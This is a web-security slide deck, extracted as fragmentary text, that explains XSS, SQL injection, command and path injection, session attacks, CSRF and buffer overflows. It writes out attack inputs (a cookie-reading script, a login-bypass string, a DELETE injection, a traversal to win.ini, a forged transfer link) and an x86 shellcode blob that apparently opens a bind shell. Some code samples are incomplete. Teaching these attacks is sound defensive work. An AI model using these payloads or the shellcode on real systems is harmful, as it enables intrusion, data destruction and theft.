By Hari Ruthala
By Hari Ruthala
Web Developers are not well versed with security issues because of
which the applications are prone to vulnerabilities.
Persistent
DOM Based
Reflected attacks are those where the injected code is reflected off
the web server, such as in an error message, search result, or any
other response that includes some or all of the input sent to the
server as part of the request.
example
Server
http
http request with response
XSS JavaScript with XSS
JavaScript
<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos= document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome to our system
…
</HTML>
Normally, this HTML page would be used for welcoming the user, e.g.:
http://www.vulnerable.site/welcome.html?name=Joe
However, a request such as below will result in XSS
http://www.vulnerable.site/welcome.html?name=
<script>alert(document.cookie)</script>
The ability to inject SQL commands in to database engine through
an existing application
<?php
$id= $_GET[ 'id' ] ;
//$id = 0;DELETE FROM users
mysql_query($query);
//$_POST['username'] = 'bob';
//$_POST['password'] = " ' OR '1'='1 ";
echo $query;
?>
output:
SELECT * FROM users
WHERE user='bob' AND password=' ' OR '1'='1'
Parameter tampering is a sophisticated form of hacking that creates
a change in the Uniform Resource Locator, or URL, associated with a
web page.
# The code below executes "/bin/ls" and pipe the output to the open statement
open FILE, "/bin/ls|" or die $!;
Web applications often include parameters that specify a file that is displayed or used as a template.
Without proper input validation, an attacker may change the parameter value to include a shell
command followed by the pipe symbol, shown above.
http://example/cgi-bin/showInfo.pl?name=John&template=tmp1.txt
Changing the template parameter value, the attacker can trick the web application into executing the
command /bin/ls:
http://example /cgi-bin/showInfo.pl?name=John&template=/bin/ls|
In human-computer interaction, session management is the process
of keeping track of a user's activity across sessions of interaction
with the computer system.
Cookies
Cookies are a simple session management mechanism
The cookie is sent as an HTTP header by a web server to a web browser and
then sent back unchanged by the browser each time it accesses that server.
HTTP format is Set-Cookie: cookie-value
Session Hijacking
Session Replay
Session Fixation
Session Tempering
Many Web applications use cookies to save
information (user IDs, passwords, account
numbers, time stamps, etc.)
http://www.acme-hackme.com/online/getnews.asp?item=../../../../ WINNT/win.ini
The attacker can make the victim perform actions that they didn't intend to, such
as logout, purchase item, change account information, retrieve account
information, or any other function provided by the vulnerable website.
Affected Environments
All web application frameworks are vulnerable to CSRF.
Logging Request
Bob
Bank.com
<a
href="http://bank.com/transfer.do?acct=MARIA&amount=10
0000">View my Pictures!</a>
Alice wishes to transfer $100 to Bob using bank.com. The request
generated by Alice will look similar to the following:
POST http://bank.com/transfer.do
HTTP/1.1
...
Content-Length: 19;
acct=BOB&amount=100
However, Maria notices that the same web application will execute
the same transfer using URL parameters as follows:
GET http://bank.com/transfer.do?acct=BOB&amount=100
HTTP/1.1
Maria must trick Alice into submitting the request. The most basic
method is to send Alice an HTML email containing the following
<a
href="http://bank.com/transfer.do?acct=MARIA&amount=100000">View
my Pictures!</a>
Buffer is storage space for data. Buffer overflow occurs when
the user input exceeds the maximum size of the buffer,
overwriting the other areas of the memory and corrupting
those areas.
"\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x31\xd2\x52\x66\x68\xbc\x0a\x66\x6a\x02\x89\xe2\x6a"
"\x10\x52\x6a\x03\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x6a"
"\x02\x6a\x03\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xc9"
"\x51\x51\x6a\x03\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31"
"\xdb\x53\x6a\x3a\x68\x50\x61\x73\x73\x89\xe6\x6a\x05"
"\x56\x6a\x04\x89\xe1\xb3\x09\xb0\x66\xcd\x80\x31\xc9"
"\x31\xf6\x51\x6a\x05\x52\x6a\x04\x89\xe1\xb3\x0a\xb0"
"\x66\xcd\x80\x31\xc9\x51\x6a\x72\x68\x68\x61\x78\x6f"
"\x89\xe7\x89\xd6\x80\xc1\x05\xfc\xf3\xa6\x75\xbf\x31"
"\xc9\xb3\x04\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xb0"
"\x01\xcd\x80“
void get_input() {
char buf[1024];
gets(buf);
}